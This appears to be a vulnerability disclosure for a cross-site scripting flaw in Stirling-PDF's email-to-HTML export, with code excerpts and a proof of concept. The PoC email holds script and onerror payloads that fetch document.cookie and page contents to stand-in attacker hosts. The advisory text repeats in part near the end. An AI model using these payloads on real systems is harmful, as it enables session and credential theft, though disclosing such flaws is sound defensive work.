Summary
The /api/v1/convert/eml/pdf endpoint with parameter downloadHtml=true returns unsanitized HTML from the email body with Content-Type: text/html. An attacker who sends a malicious email to a Stirling-PDF user can achieve JavaScript execution when that user exports the email using the "Download HTML intermediate file" feature.
Details
CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting)
When downloadHtml=true is set, ConvertEmlToPDF.java (line ~84) calls:
String htmlContent = EmlToPdf.convertEmlToHtml(fileBytes, request);
This overload of convertEmlToHtml passes null as the CustomHtmlSanitizer parameter throughout the call chain:
// EmlToPdf.java
public static String convertEmlToHtml(byte[] emlBytes, EmlToPdfRequest request) {
EmlParser.EmailContent emailContent =
EmlParser.extractEmailContent(emlBytes, request, null); // no sanitizer
return EmlProcessingUtils.generateEnhancedEmailHtml(emailContent, request, null);
}
In EmlProcessingUtils.java (line ~235), when the sanitizer is null, the raw HTML body is returned without processing:
String processed =
customHtmlSanitizer != null ? customHtmlSanitizer.sanitize(htmlBody) : htmlBody;
// ^^^^^^^^
// raw unsanitized HTML body
The response is sent with Content-Type: text/html, allowing the browser to execute any JavaScript contained in the email body when the file is opened.
Note: Email metadata fields (Subject, From, To) are correctly escaped via escapeHtml() — only the HTML body is affected.
Contrast with the safe path (PDF conversion):
// EmlToPdf.java — PDF path passes the sanitizer correctly
EmlParser.EmailContent emailContent =
EmlParser.extractEmailContent(emlBytes, request, customHtmlSanitizer);
PoC
- Craft malicious EML:
From: attacker@evil.com
To: victim@company.com
Subject: <script>alert('XSS-in-subject')</script>
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
Message-ID: <test@evil.com>
Date: Thu, 20 Mar 2026 10:00:00 +0000
<html><body>
<script>alert('XSS-in-body')</script>
<img src="http://evil.com/tracking-pixel" onerror="fetch('http://evil.com/steal?c='+document.cookie)">
<h1>Normal email content</h1>
<p>Nothing to see here.</p>
</body></html>
- Authenticated user uploads the EML and clicks "Download HTML intermediate file instead of PDF" (UI checkbox in the Convert from Email tool):
curl -X POST http://target:8080/api/v1/convert/eml/pdf \
-H "Authorization: Bearer $TOKEN" \
-F "fileInput=@malicious.eml;type=message/rfc822" \
-F "downloadHtml=true" \
-o output.html
- Response contains unescaped JavaScript:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Disposition: form-data; name="attachment"; filename="malicious.eml.html"
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
<img src="x" onerror="fetch('https://attacker.com/exfil?d='+document.body.innerHTML)">
- When the user opens the downloaded .html file in a browser, the JavaScript executes.
Impact
- JavaScript execution — <script> tags and event handlers in the email body execute unconditionally when the file is opened
- Internal network access —
and fetch() requests originate from the victim's browser, reaching intranet services not exposed to the internet
- Credential harvesting — the full HTML renders, enabling convincing phishing forms targeting Stirling-PDF or SSO credentials
Conditions
- Attacker must be able to send email to a Stirling-PDF user (external email sufficient)
- Victim must be an authenticated Stirling-PDF user
- Victim must use the "Download HTML" export option and open the resulting file
- No admin configuration changes required — the feature is enabled by default
Summary
The /api/v1/convert/eml/pdf endpoint with parameter downloadHtml=true returns unsanitized HTML from the email body with Content-Type: text/html. An attacker who sends a malicious email to a Stirling-PDF user can achieve JavaScript execution when that user exports the email using the "Download HTML intermediate file" feature.
Details
CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting)
When downloadHtml=true is set, ConvertEmlToPDF.java (line ~84) calls:
String htmlContent = EmlToPdf.convertEmlToHtml(fileBytes, request);
This overload of convertEmlToHtml passes null as the CustomHtmlSanitizer parameter throughout the call chain:
In EmlProcessingUtils.java (line ~235), when the sanitizer is null, the raw HTML body is returned without processing:
The response is sent with Content-Type: text/html, allowing the browser to execute any JavaScript contained in the email body when the file is opened.
Note: Email metadata fields (Subject, From, To) are correctly escaped via escapeHtml() — only the HTML body is affected.
Contrast with the safe path (PDF conversion):
PoC
Impact
Conditions